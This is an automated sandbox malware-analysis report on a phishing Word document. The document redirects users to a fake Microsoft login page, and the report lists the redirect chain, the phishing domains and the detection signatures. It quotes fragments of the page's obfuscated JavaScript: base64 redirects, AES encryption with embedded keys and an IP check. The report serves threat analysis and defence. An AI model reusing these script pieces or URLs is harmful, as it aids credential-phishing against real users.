Joe Sandbox Cloud Basic Analysis Report
Edit tour

Windows Analysis Report
Entertainment technology partners- January 16, 2025 stmt eAOx0Jy8v6VOSjVj58966wHa1.docx

Overview

General Information

Sample name:Entertainment technology partners- January 16, 2025 stmt eAOx0Jy8v6VOSjVj58966wHa1.docx
Analysis ID:1593670
MD5:a7237561723f4df17e49a0eb4fc9e51e
SHA1:d5c08ae0705c0e1f2be638bfa562dbfca8cd3a71
SHA256:681affb5fa1e72f70033a2e0e4b7aa6c1585af6090ecad6266791347e5ccb1e4

Detection

Gabagool
Score:68
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

AI detected phishing page
Yara detected Gabagool
AI detected landing page (webpage, office document or email)
HTML page contains hidden URLs
HTML page contains suspicious javascript code
Detected non-DNS traffic on DNS port
HTML body contains low number of good links
HTML body contains password input but no form action
HTML body with high number of embedded images detected
HTML page contains hidden javascript code
HTML title does not match URL
Javascript checks online IP of machine
Stores files to the Windows start menu directory
Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

Process Tree

  • System is w10x64_ra
  • WINWORD.EXE (PID: 6820 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\Desktop\Entertainment technology partners- January 16, 2025 stmt eAOx0Jy8v6VOSjVj58966wHa1.docx" /o "" MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678)
  • chrome.exe (PID: 6316 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://justworks.app.link/?$deeplink_path=/alerts/time_off_requests/13a6b7f0-b2ae-4165-87b0-da6673653a54&$fallback_url=https://learnwell.ie/OMnkHtZMK20RCijS9aTFP-F9XLy6oV0IAisMy3gS7SrDGw2t9SE5cVMGuFrGP5_G MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • chrome.exe (PID: 5528 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1788,i,6734215423760923846,9721339853594599215,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
  • cleanup

Yara Signatures

HTML

SourceRuleDescriptionAuthorStrings
2.6.pages.csvJoeSecurity_GabagoolYara detected GabagoolJoe Security
    2.7.pages.csvJoeSecurity_GabagoolYara detected GabagoolJoe Security
      2.8.pages.csvJoeSecurity_GabagoolYara detected GabagoolJoe Security

        Sigma Signatures

        ⊘No Sigma rule has matched

        Suricata Signatures

        ⊘No Suricata rule has matched

        Joe Sandbox Signatures

        • • Phishing
        • • Compliance
        • • Software Vulnerabilities
        • • Networking
        • • System Summary
        • • Boot Survival
        • • Hooking and other Techniques for Hiding and Protection
        • • Malware Analysis System Evasion

        Click to jump to signature section

        Show All Signature Results

        Phishing

        barindex
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/Joe Sandbox AI: Score: 7 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'bodrumyacht.com' does not match the legitimate domain for Microsoft., The URL 'bodrumyacht.com' appears unrelated to Microsoft and suggests a focus on yachting or tourism, which is not associated with Microsoft's business., The presence of input fields such as 'Email, phone, or Skype' is typical for Microsoft services, but the domain does not match, raising suspicion., There are no indicators that 'bodrumyacht.com' is a trusted service provider for Microsoft. DOM: 2.6.pages.csv
        Source: Yara matchFile source: 2.6.pages.csv, type: HTML
        Source: Yara matchFile source: 2.7.pages.csv, type: HTML
        Source: Yara matchFile source: 2.8.pages.csv, type: HTML
        Source: Office documentJoe Sandbox AI: Page contains button: 'Open with browser' Source: 'Office document'
        Source: Office documentJoe Sandbox AI: Office document contains QR code
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: https://o365.qazqwertyuiop999.com
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: window.location.href = atob(
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: Number of links: 0
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: <input type="password" .../> found but no <form action="...
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: Total embedded image size: 45708
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: Base64 decoded: https://o365.qazqwertyuiop999.com
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: Title: Account sign in does not match URL
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: let current_ip = null;function ua69eucs(plaintext, key) { const keysize = [16, 24, 32]; if (!keysize.includes(key.length)) { throw new error("incorrect aes key length. use a 16, 24, or 32 bytes key."); } // generate a random iv (initialization vector) const iv = cryptojs.lib.wordarray.random(16); // encrypt the plain text using aes with the given key and random iv const encrypted = cryptojs.aes.encrypt(cryptojs.enc.utf8.parse(plaintext), cryptojs.enc.utf8.parse(key), { iv: iv, mode: cryptojs.mode.cbc, padding: cryptojs.pad.pkcs7 }); // combine the iv and ciphertext (iv is necessary for decryption) const encrypteddata = iv.concat(encrypted.ciphertext); // convert the combined data to base64 for easy transmission or storage return cryptojs.enc.base64.stringify(encrypteddata);}let psk = "tkmfegrwkpckcq7hmgj2ab6fkpq+wd3ju5k4ektobb5socm8yosjwgf/qhrdip3pd/0luvdy3vyallb42ur+1q==";async function khf1g2vss() { try { const response = await fetch("...
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: let usuuid = "tkmfegrwkpckcq7hmgj2ab6fkpq+wd3ju5k4ektobb5socm8yosjwgf/qhrdip3pd/0luvdy3vyallb42ur+1q=="; let policy = "upuzk3v1wmmg4smcmrth+iwguj+xni5+maonwpam1izqglrkwfaq5w/rwynrdwxqijcn2bg9oibifdbeoudvdw==";let sv = "0"; let sir = "0"; function decstr(encryptedstring, key) { const keysize = [16, 24, 32]; if (!keysize.includes(key.length)) { throw new error("incorrect aes key length. use a 16, 24, or 32 bytes key."); } const encrypteddata = cryptojs.enc.base64.parse(encryptedstring); const iv = cryptojs.lib.wordarray.create(encrypteddata.words.slice(0, 4)); const ciphertext = cryptojs.lib.wordarray.create( encrypteddata.words.slice(4) ); const decrypteddata = cryptojs.aes.decrypt( { ciphertext: ciphertext, }, ...
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: <input type="password" .../> found
        Source: https://learnwell.ie/OMnkHtZMK20RCijS9aTFP-F9XLy6oV0IAisMy3gS7SrDGw2t9SE5cVMGuFrGP5_G/?%24deeplink_path=%2Falerts%2Ftime_off_requests%2F13a6b7f0-b2ae-4165-87b0-da6673653a54&_branch_match_id=1408774826209477055&_branch_referrer=H4sIAAAAAAAAAx2OQWuDQBSEf425rZpV11qQEtJqSysNtYTSy%2FJMnnHjRu3bFcmlv72bwhzmG5hhOmsncx8E59nYZaTe%2BDBNvlZDHzx4PD4iTjeQE9gu93gBGskaZ6y6oBzbVhL%2BzGj%2Bs3UEoknbkDUckMVrkbC7tAnZEYRII5FEkMQrt9qC1g0cejmTzrvbAy%2FauL6TRqBhQa19hQ7fq6F%2Ftt%2FVKw8%2FtupcZ%2FBZ7FiRfb1dxbgPXzbKVNfoVKc1PZYLt1n9lBz2VTkXVO4SWa5%2BCVskUsNJNjQuBinfdjRe8A%2BCScPz%2BQAAAA%3D%3DHTTP Parser: No favicon
        Source: https://learnwell.ie/OMnkHtZMK20RCijS9aTFP-F9XLy6oV0IAisMy3gS7SrDGw2t9SE5cVMGuFrGP5_G/?%24deeplink_path=%2Falerts%2Ftime_off_requests%2F13a6b7f0-b2ae-4165-87b0-da6673653a54&_branch_match_id=1408774826209477055&_branch_referrer=H4sIAAAAAAAAAx2OQWuDQBSEf425rZpV11qQEtJqSysNtYTSy%2FJMnnHjRu3bFcmlv72bwhzmG5hhOmsncx8E59nYZaTe%2BDBNvlZDHzx4PD4iTjeQE9gu93gBGskaZ6y6oBzbVhL%2BzGj%2Bs3UEoknbkDUckMVrkbC7tAnZEYRII5FEkMQrt9qC1g0cejmTzrvbAy%2FauL6TRqBhQa19hQ7fq6F%2Ftt%2FVKw8%2FtupcZ%2FBZ7FiRfb1dxbgPXzbKVNfoVKc1PZYLt1n9lBz2VTkXVO4SWa5%2BCVskUsNJNjQuBinfdjRe8A%2BCScPz%2BQAAAA%3D%3DHTTP Parser: No favicon
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: No favicon
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: No favicon
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: No favicon
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: No favicon
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: No favicon
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: No favicon
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: No <meta name="author".. found
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: No <meta name="author".. found
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: No <meta name="author".. found
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: No <meta name="copyright".. found
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: No <meta name="copyright".. found
        Source: https://bodrumyacht.com/4765445b-32c6-49b0-83e6-1d93765276caF1BCfXGgq2yXRVugqONJmWbK2Q3azh94j6PPQkwtRRBDiMVFsDmHo_kwff9Gq6HTIvrBenIBhLDRgAdX3oG/638726411371134980.NjU2MjE0ZWMtZmYzYy00MWRmLWI4M/HTTP Parser: No <meta name="copyright".. found
        Source: unknownHTTPS traffic detected: 20.190.159.0:443 -> 192.168.2.16:49715 version: TLS 1.2
        Source: unknownHTTPS traffic detected: 20.190.159.0:443 -> 192.168.2.16:49719 version: TLS 1.2
        Source: unknownHTTPS traffic detected: 20.190.159.0:443 -> 192.168.2.16:49722 version: TLS 1.2
        Source: unknownHTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49739 version: TLS 1.2
        Source: unknownHTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:58761 version: TLS 1.2
        Source: chrome.exeMemory has grown: Private usage: 1MB later: 29MB
        Source: winword.exeMemory has grown: Private usage: 6MB later: 66MB
        Source: global trafficTCP traffic: 192.168.2.16:58719 -> 1.1.1.1:53
        Source: global trafficTCP traffic: 192.168.2.16:58719 -> 1.1.1.1:53
        Source: global trafficTCP traffic: 192.168.2.16:58719 -> 1.1.1.1:53
        Source: global trafficTCP traffic: 192.168.2.16:58719 -> 1.1.1.1:53
        Source: global trafficTCP traffic: 192.168.2.16:58719 -> 1.1.1.1:53
        Source: global trafficTCP traffic: 192.168.2.16:58719 -> 1.1.1.1:53
        Source: global trafficTCP traffic: 192.168.2.16:58719 -> 1.1.1.1:53
        Source: global trafficTCP traffic: 192.168.2.16:58719 -> 1.1.1.1:53
        Source: global trafficTCP traffic: 192.168.2.16:58719 -> 1.1.1.1:53
        Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
        Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
        Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
        Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
        Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
        Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
        Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
        Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
        Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
        Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
        Source: unknownTCP traffic detected without corresponding DNS query: 2.23.77.188
        Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
        Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
        Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
        Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: unknownTCP traffic detected without corresponding DNS query: 20.190.159.0
        Source: global trafficDNS traffic detected: DNS query: justworks.app.link
        Source: global trafficDNS traffic detected: DNS query: learnwell.ie
        Source: global trafficDNS traffic detected: DNS query: www.google.com
        Source: global trafficDNS traffic detected: DNS query: bodrumyacht.com
        Source: global trafficDNS traffic detected: DNS query: challenges.cloudflare.com
        Source: global trafficDNS traffic detected: DNS query: a.nel.cloudflare.com
        Source: global trafficDNS traffic detected: DNS query: cdnjs.cloudflare.com
        Source: global trafficDNS traffic detected: DNS query: o365.qazqwertyuiop999.com
        Source: global trafficDNS traffic detected: DNS query: code.jquery.com
        Source: global trafficDNS traffic detected: DNS query: api.ipify.org
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49744
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49743
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49742
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49741
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49740
        Source: unknownNetwork traffic detected: HTTP traffic on port 58738 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58737
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58736
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58739
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58738
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58733
        Source: unknownNetwork traffic detected: HTTP traffic on port 49743 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58721 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58732
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58735
        Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58734
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58740
        Source: unknownNetwork traffic detected: HTTP traffic on port 58747 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49720 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58742
        Source: unknownNetwork traffic detected: HTTP traffic on port 58724 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58741
        Source: unknownNetwork traffic detected: HTTP traffic on port 58750 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49739
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49738
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49737
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49736
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49735
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49734
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49733
        Source: unknownNetwork traffic detected: HTTP traffic on port 58735 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49732
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49731
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
        Source: unknownNetwork traffic detected: HTTP traffic on port 49732 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58756 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58748
        Source: unknownNetwork traffic detected: HTTP traffic on port 58729 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58747
        Source: unknownNetwork traffic detected: HTTP traffic on port 49703 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58749
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58744
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58743
        Source: unknownNetwork traffic detected: HTTP traffic on port 49728 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58746
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58745
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58751
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58750
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58753
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58752
        Source: unknownNetwork traffic detected: HTTP traffic on port 58767 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58753 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49728
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49727
        Source: unknownNetwork traffic detected: HTTP traffic on port 58732 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49726
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49725
        Source: unknownNetwork traffic detected: HTTP traffic on port 49735 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49723
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49721
        Source: unknownNetwork traffic detected: HTTP traffic on port 58736 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58761 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49720
        Source: unknownNetwork traffic detected: HTTP traffic on port 49731 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58755 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58759
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58758
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58755
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58754
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58757
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58756
        Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58762
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58761
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58763
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58760
        Source: unknownNetwork traffic detected: HTTP traffic on port 58749 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49719
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49718
        Source: unknownNetwork traffic detected: HTTP traffic on port 58752 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49715 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49715
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49712
        Source: unknownNetwork traffic detected: HTTP traffic on port 49734 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58733 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58758 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49726 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58769
        Source: unknownNetwork traffic detected: HTTP traffic on port 58727 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49740 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58741 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58766
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58765
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58768
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58767
        Source: unknownNetwork traffic detected: HTTP traffic on port 49723 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58744 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58769 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58730 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49703
        Source: unknownNetwork traffic detected: HTTP traffic on port 49737 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49733 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58734 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58763 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58757 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58728 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49727 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58740 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58766 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58754 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58731 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49736 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58760 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58739 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58743 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49721 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58725 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58746 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49718 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49739 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58759 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49678 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 58765 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49725 -> 443
